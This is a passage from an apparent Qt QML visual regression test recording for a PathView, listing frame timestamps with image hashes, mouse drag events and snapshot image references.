{ + msec: 2224 + hash: "ab091484522587412b0e8aceeb8987ce" + } + Frame { + msec: 2240 + hash: "13682b0d45bcbad0f011d08899085b1d" + } + Frame { + msec: 2256 + hash: "3c5d6f82eafd1b04edfbcbffbdbe2177" + } + Frame { + msec: 2272 + hash: "151803d70b7c3327df32c8602fcd677a" + } + Frame { + msec: 2288 + hash: "78613cec5364fe3f0df84188793d8eac" + } + Frame { + msec: 2304 + hash: "fc05a3cad43af35230c5ba89f6fd13c5" + } + Frame { + msec: 2320 + hash: "9f826733b300c89eeb80452129505e8b" + } + Frame { + msec: 2336 + hash: "8565efc5c1fb1bdf5629e3bd495bb611" + } + Frame { + msec: 2352 + hash: "3b8f6e8c526ab8cce170277c378a5a69" + } + Frame { + msec: 2368 + hash: "07db3bc0ab19e0ca829e89558bacf1a1" + } + Frame { + msec: 2384 + hash: "ed8843024c6ac28a8c782839b362149c" + } + Frame { + msec: 2400 + hash: "381a9f6564c090613aa2cd0476b95210" + } + Frame { + msec: 2416 + hash: "c3fabd891fa8e27fd71df175db383667" + } + Frame { + msec: 2432 + hash: "9b441792fdaa9ba9d340fc0c6a9c11bd" + } + Frame { + msec: 2448 + hash: "3209c9ba69fa016370e3d56e7e1e37a4" + } + Frame { + msec: 2464 + hash: "34da0a01453fbb2571b370257fd35f8e" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 591; y: 245 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 588; y: 245 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2480 + hash: "32e6204a07c493d0a0f9f50773fe8f32" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 585; y: 245 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2496 + hash: "2a1814768ae500ba9c24bc2e3e4de1d5" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 582; y: 245 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2512 + hash: "7cf6e3c52d12d590beafd061979a49cb" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 574; y: 245 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 565; y: 246 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2528 + hash: "c66c36642ab7f6c32b45e27de38d23b6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 553; y: 246 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2544 + hash: "6e003380cc6fd303ae3b499863225ba5" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 538; y: 246 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2560 + hash: "a790259cea2c247493be58c6018435b9" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 523; y: 247 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 523; y: 247 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2576 + hash: "e6cce7468a27b5063821df8dbaa15c18" + } + Frame { + msec: 2592 + hash: "ff8386cbe89aeac184f4a75237ef4a14" + } + Frame { + msec: 2608 + hash: "1a11a90853b025837b991be40efb78f8" + } + Frame { + msec: 2624 + hash: "17da10de7e2d2fcf125207e2873bdee8" + } + Frame { + msec: 2640 + hash: "dfbda435d05903cc3a31f4f8f31e8985" + } + Frame { + msec: 2656 + hash: "1f3753e809099f20c6289f150a096935" + } + Frame { + msec: 2672 + hash: "9454afc9d70103e1f1c00eb0ad2ca534" + } + Frame { + msec: 2688 + hash: "860ab90e2421a0c8faab304915b5e6f2" + } + Frame { + msec: 2704 + hash: "600258507426a8c3c89e3591ee9328f1" + } + Frame { + msec: 2720 + hash: "0795a607b893da2bdc0970195f3039fd" + } + Frame { + msec: 2736 + hash: "e300b9109e242d85537fc3f4461eaf8e" + } + Frame { + msec: 2752 + hash: "dbb84b38e2bda694f210f133dc133180" + } + Frame { + msec: 2768 + hash: "2455e9de47da4db88eef35fea1dc2abe" + } + Frame { + msec: 2784 + hash: "5f0c3d7e089c921a68813a48f0fd8844" + } + Frame { + msec: 2800 + hash: "e6d9e7d0fdc724a6a1804bc94629cab4" + } + Frame { + msec: 2816 + hash: "d177183bcbaa27ad061fd88bd037277d" + } + Frame { + msec: 2832 + hash: "78dd13fa6367abd14374462d89a3d066" + } + Frame { + msec: 2848 + hash: "41d12e4c362ccc99a1a04b3a09f0e68c" + } + Frame { + msec: 2864 + hash: "5112700bf72aacb176e63ef054fce244" + } + Frame { + msec: 2880 + image: "test-pathview-2.2.png" + } + Frame { + msec: 2896 + hash: "0257e67512c62ffc42a272fd304e4ed3" + } + Frame { + msec: 2912 + hash: "42cd0a98aa0f3768cf77aac284072fa9" + } + Frame { + msec: 2928 + hash: "811d27f89b0c434fc49e4280f85c2f27" + } + Frame { + msec: 2944 + hash: "887406c50c666d08e4d98c040efae9a5" + } + Frame { + msec: 2960 + hash: "27e10fa9d82920c7f761465501d44564" + } + Frame { + msec: 2976 + hash: "ba67dbe0010ba2aae3ca100886b11553" + } + Frame { + msec: 2992 + hash: "8064db575e2c74c0faf7782adc527a08" + } + Frame { + msec: 3008 + hash: "b7fd5446ad957610ab853e0c597b9a36" + } + Frame { + msec: 3024 + hash: "092b53eb50e91d74db7899328899cfd3" + } + Frame { + msec: 3040 + hash: "0346065ad603b41db9365987ebe81586" + } + Frame { + msec: 3056 + hash: "705083f27a338fea544c9806f0d8fcb3" + } + Frame { + msec: 3072 + hash: "fc29b4888e26deec4c983e487b9bd058" + } + Frame { + msec: 3088 + hash: "0ff734e0509908eba292c1814f677e5b" + } + Frame { + msec: 3104 + hash: "7181d9011ddd3ad49ee95fac2e146b12" + } + Frame { + msec: 3120 + hash: "4478b07b0331bb30e60f23ee74475f73" + } + Frame { + msec: 3136 + hash: "514aa7a4b1230ae1701004f479eeb5f2" + } + Frame { + msec: 3152 + hash: "56e51f8f36e0f1a5a4b6b21c41151375" + } + Frame { + msec: 3168 + hash: "f58216f12e507a91482ded5372f960c7" + } + Frame { + msec: 3184 + hash: "18e8675ca5ea7ade7e32b29f1632e1ff" + } + Frame { + msec: 3200 + hash: "13ec0166cc7dd82042e596739c598a1e" + } + Frame { + msec: 3216 + hash: "5cebf9afa912b17ac3161619d238e5da" + } + Frame { + msec: 3232 + hash: "f096b191e347b7e2eab51b6adc1a5aac" + } + Frame { + msec: 3248 + hash: "81cffc13a615ab673172912760863c08" + } + Frame { + msec: 3264 + hash: "e89c7acfc07bc0eb6e9740d545400064" + } + Frame { + msec: 3280 + hash: "e681f06f57d43a38acb29a3cb45e4384" + } + Frame { + msec: 3296 + hash: "945bfe7808fb620dc3f7ad887183244c" + } + Frame { + msec: 3312 + hash: "4d1fc53701adce4e4af87c32e6c5a8de" + } + Frame { + msec: 3328 + hash: "c42bbf27e800558fab33bc6e9a0f36b9" + } + Frame { + msec: 3344 + hash: "5f48f59812b17a9be466f0601f0ed0df" + } + Frame { + msec: 3360 + hash: "f3a3f645115077b7aeb66465280b7a16" + } + Frame { + msec: 3376 + hash: "d1c295b2157001ff1020515f4b2aceaa" + } + Frame { + msec: 3392 + hash: "e5f364e0e4bd75dd04280f6b6f48b8ba" + } + Frame { + msec: 3408 + hash: "f439df4b5907ba0201c0dad934115721" + } + Frame { + msec: 3424 + hash: "2e7eb0e999792f3aa87c63865f68d26b" + } + Frame { + msec: 3440 + hash: "45d3ccb3b03adc8323445207d2dca502" + } + Frame { + msec: 3456 + hash: "c345f92a25406e33256bfe47dc7f72f3" + } + Frame { + msec: 3472 + hash: "dcb2663d27d644c0b50aa7386aa9d488" + } + Frame { + msec: 3488 + hash: "ebe4b9eaf39676bcdd968f8517efa222" + } + Frame { + msec: 3504 + hash: "deb3e3e6fdf8fe18de907f88822538e8" + } + Frame { + msec: 3520 + hash: "30e8ab0e6cf32a45190c4b29e458d858" + } + Frame { + msec: 3536 + hash: "059e6f57c2c78a25ab8b515c878231f9" + } + Frame { + msec: 3552 + hash: "fa7621f338ae187edac5cb69b22e64b3" + } + Frame { + msec: 3568 + hash: "bf287cbb0963fc8e575cd95808e1983d" + } + Frame { + msec: 3584 + hash: "741dc09e0ae13d6afbdaae701cb699ef" + } + Frame { + msec: 3600 + hash: "8dd52007df5585aed4b9737a8314a74d" + } + Frame { + msec: 3616 + hash: "ddcd945a3a4467d8dd0b7a4197aafed5" + } + Frame { + msec: 3632 + hash: "015deb5f228fa2f77978315ccca4f4c8" + } + Frame { + msec: 3648 + hash: "e1c960e966873e694837fd98f231cfcb" + } + Frame { + msec: 3664 + hash: "17a177d37b427d9488e36d19b345a397" + } + Frame { + msec: 3680 + hash: "d4aded08d04f79d50536ecf539c0583d" + } + Frame { + msec: 3696 + hash: "72890e9b84acf9df6083e23ab9270da1" + } + Frame { + msec: 3712 + hash: "313859115de570f8d41f67c4db7cf49e" + } + Frame { + msec: 3728 + hash: "98918d73b6d6b375db53470dd72c7b35" + } + Frame { + msec: 3744 + hash: "ff706517a4d257747893c11a3b059926" + } + Frame { + msec: 3760 + hash: "73e62664a31232c1a349568c8da6ce64" + } + Frame { + msec: 3776 + hash: "bed046c6eae90d267e859cd76d3eacfb" + } + Frame { + msec: 3792 + hash: "4643348fc1b47f0d3244e7e717247953" + } + Frame { + msec: 3808 + hash: "0305bfc35b5618da19e9eabb3c1b5d2b" + } + Frame { + msec: 3824 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 3840 + image: "test-pathview-2.3.png" + } + Frame { + msec: 3856 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 3872 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 3888 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 3904 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 3920 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 3936 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 3952 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 3968 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 3984 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4000 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4016 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 305; y: 280 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4032 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 305; y: 281 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4048 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 306; y: 281 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4064 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 308; y: 281 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4080 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 310; y: 282 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4096 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 313; y: 283 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 317; y: 283 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4112 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 321; y: 283 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4128 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 328; y: 283 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4144 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 341; y: 283 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 347; y: 282 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4160 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 360; y: 281 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4176 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 385; y: 282 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4192 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 433; y: 292 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 486; y: 307 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4208 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 538; y: 322 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4224 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 588; y: 336 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4240 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 620; y: 343 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 677; y: 354 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4256 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 733; y: 362 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4272 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 785; y: 365 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4288 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 830; y: 365 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 861; y: 357 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4304 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 879; y: 346 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4320 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 888; y: 335 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4336 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 893; y: 326 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 893; y: 326 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4352 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4368 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4384 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4400 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4416 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4432 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4448 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4464 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4480 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4496 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4512 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4528 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4544 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4560 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4576 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4592 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4608 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4624 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4640 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4656 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4672 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4688 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4704 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4720 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4736 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4752 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4768 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4784 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4800 + image: "test-pathview-2.4.png" + } + Frame { + msec: 4816 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4832 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4848 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4864 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4880 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4896 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4912 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4928 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4944 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4960 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4976 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 4992 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5008 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5024 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5040 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5056 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5072 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5088 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5104 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5120 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5136 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5152 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5168 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5184 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5200 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5216 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5232 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5248 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5264 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5280 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5296 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5312 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5328 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5344 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5360 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Frame { + msec: 5376 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 242; y: 280 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5392 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 244; y: 280 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 246; y: 281 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5408 + hash: "754f9689239e6154a762a6a1e9e0131b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 251; y: 282 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5424 + hash: "ba4e61f8de7f078cfc1e5fc8dd3c65f3" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 261; y: 282 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5440 + hash: "00389598468dbd1a90cada9543715770" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 300; y: 279 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5456 + hash: "ab020b76bc23554e176bd3a59712c3bc" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 350; y: 282 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5472 + hash: "96483c5c51cc851c55166b13617b12ea" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 417; y: 290 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5488 + hash: "1ad679d1400a0f185a380a75840c6a50" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 500; y: 300 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 585; y: 309 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5504 + hash: "b5ed338d402d16a831c0595311350789" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 669; y: 315 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 669; y: 315 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5520 + hash: "bf51ff7b6f264170d9c5700559e03262" + } + Frame { + msec: 5536 + hash: "0d62681e661aad7b67b880e13afeb4de" + } + Frame { + msec: 5552 + hash: "3371739270c458d4ce8a08f2e12d4ba5" + } + Frame { + msec: 5568 + hash: "db271b0ebfa0172d8386ac9afde9f296" + } + Frame { + msec: 5584 + hash: "d64c064ab483c9636b2736c67b2b1a48" + } + Frame { + msec: 5600 + hash: "20a8ccb0ff1c0d5ff606b343f1a32bff" + } + Frame { + msec: 5616 + hash: "5547bb0a4d6b51733829597b9d8d141a" + } + Frame { + msec: 5632 + hash: "1135177a5cb24aa11372653985599775" + } + Frame { + msec: 5648 + hash: "5031ea6ca8ec59155edb7c1f10f77925" + } + Frame { + msec: 5664 + hash: "7c5c1015af23f32c002a24a880201883" + } + Frame { + msec: 5680 + hash: "c1dd3ad07775d74d2e81b830d07543e0" + } + Frame { + msec: 5696 + hash: "ad6651f644be3c6f1ebf340809fe516f" + } + Frame { + msec: 5712 + hash: "1eb69541ae67d9d9193b86a6592de4c2" + } + Frame { + msec: 5728 + hash: "c9c40ec693a421243804efb8f99707f4" + } + Frame { + msec: 5744 + hash: "832884a5102069ca085001156a04e74e" + } + Frame { + msec: 5760 + image: "test-pathview-2.5.png" + } + Frame { + msec: 5776 + hash: "df0c7d73069e1087d34c7a703197cb2a" + } + Frame { + msec: 5792 + hash: "4a8e1f548e48b86140aa1a5fa8b17bd3" + } + Frame { + msec: 5808 + hash: "f79f47e3a0c16a1361fa287a594c4673" + } + Frame { + msec: 5824 + hash: "c26da5ed2e4055f5c172b48163560143" + } + Frame { + msec: 5840 + hash: "0e971cd0c2e25d52b689d4b22509a7d9" + } + Frame { + msec: 5856 + hash: "40bae0ef35772c476cddccc034b7c872" + } + Frame { + msec: 5872 + hash: "ce1fc0faae5e313bc21e024dac3097da" + } + Frame { + msec: 5888 + hash: "ba614972cec0e9fa47cb09f1ba77eefb" + } + Frame { + msec: 5904 + hash: "2266ae29490ae01ff8a2329956c124a7" + } + Frame { + msec: 5920 + hash: "debae0194926cb5af0a8f7fdfb7f08b8" + } + Frame { + msec: 5936 + hash: "10a7111367cfcbe24063b9ee6975e4fc" + } + Frame { + msec: 5952 + hash: "3c0f9e0603e33506f31ff6569d007b97" + } + Frame { + msec: 5968 + hash: "69d92abce3f093cc7610bd715a7396fa" + } + Frame { + msec: 5984 + hash: "befad9882a6af920684d94c74d8d7f78" + } + Frame { + msec: 6000 + hash: "10632052ac53504bd36687ba7aa7ebc1" + } + Frame { + msec: 6016 + hash: "af4053320c12cbcc6f0e7e321dba1c83" + } + Frame { + msec: 6032 + hash: "4560c5fcef9d630d744e80dc46947b9d" + } + Frame { + msec: 6048 + hash: "012ee780ed98131321aaa241a2599c5f" + } + Frame { + msec: 6064 + hash: "25d3fb9d44bc2be3b86a5451d8ffaec2" + } + Frame { + msec: 6080 + hash: "09c5cbff81a5c9fae40ec29b936ee52b" + } + Frame { + msec: 6096 + hash: "27a0b1d2ea2fc8729e5542c6462c1815" + } + Frame { + msec: 6112 + hash: "c6f347c942aed190ebee077b5bd0888c" + } + Frame { + msec: 6128 + hash: "029d78844bd72acb310bd2887489bdf0" + } + Frame { + msec: 6144 + hash: "3af16ab398f1515e90e81460ac061a74" + } + Frame { + msec: 6160 + hash: "0151ca050722645e2899919f79f6aa0b" + } + Frame { + msec: 6176 + hash: "eead61dfc1851bc9fba3b4bca510af6a" + } + Frame { + msec: 6192 + hash: "da822098c606556ad8683316f5a821ab" + } + Frame { + msec: 6208 + hash: "ee47fc2bcf2264f5799a76308fbf2b65" + } + Frame { + msec: 6224 + hash: "81b208b84ca887d35cda79b5c0e4cd4e" + } + Frame { + msec: 6240 + hash: "fd52ccaddcb79a2dfa12bb57640a3610" + } + Frame { + msec: 6256 + hash: "b187e8fcd0a777657a733c260aaaf557" + } + Frame { + msec: 6272 + hash: "2cfe47a86bf9df3704002288b6249ed9" + } + Frame { + msec: 6288 + hash: "b79b81706f62789a15557ac1a017addf" + } + Frame { + msec: 6304 + hash: "77a84eb447fe7034783678f6903ff76d" + } + Frame { + msec: 6320 + hash: "82529385d3072812fa737193914ece1c" + } + Frame { + msec: 6336 + hash: "a7ccfa6c8aebf2016f2f12045d2f1abe" + } + Frame { + msec: 6352 + hash: "486d38e7ea6a5cf13f2ecd1c6919ece7" + } + Frame { + msec: 6368 + hash: "6c5bd377d2289ec88f969e961f1dcf65" + } + Frame { + msec: 6384 + hash: "92e20565fbcf8c7c9a67726f3a0dd41f" + } + Frame { + msec: 6400 + hash: "0fcd995a26262b875440d0d9f03d16c4" + } + Frame { + msec: 6416 + hash: "f679759eddca739764bd2816ee53ef31" + } + Frame { + msec: 6432 + hash: "adffd1da9b750df3d9f48820a2235c0b" + } + Frame { + msec: 6448 + hash: "e0f8730acf7a6802ade228f95d700c08" + } + Frame { + msec: 6464 + hash: "2c5209c3715bb9f39ac23a8b32a17ef9" + } + Frame { + msec: 6480 + hash: "741694ef4cbd3477a8e13ba89fc9d607" + } + Frame { + msec: 6496 + hash: "e88d6a61acb3fde6b441c2e718a0c2fb" + } + Frame { + msec: 6512 + hash: "b91863800e6ab967616d68def388d5d5" + } + Frame { + msec: 6528 + hash: "4c28a99236c351a2e3e3301c0b5bbba8" + } + Frame { + msec: 6544 + hash: "6affb524d7f63fef94d29629a148be04" + } + Frame { + msec: 6560 + hash: "f7823d25adf673117f010738d977b787" + } + Frame { + msec: 6576 + hash: "dfb930f3db30ec53c8e9a1aa5d9056e4" + } + Frame { + msec: 6592 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6608 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6624 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6640 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6656 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6672 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6688 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6704 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6720 + image: "test-pathview-2.6.png" + } + Frame { + msec: 6736 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6752 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6768 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6784 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6800 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6816 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6832 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6848 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6864 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6880 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6896 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6912 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6928 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6944 + hash: 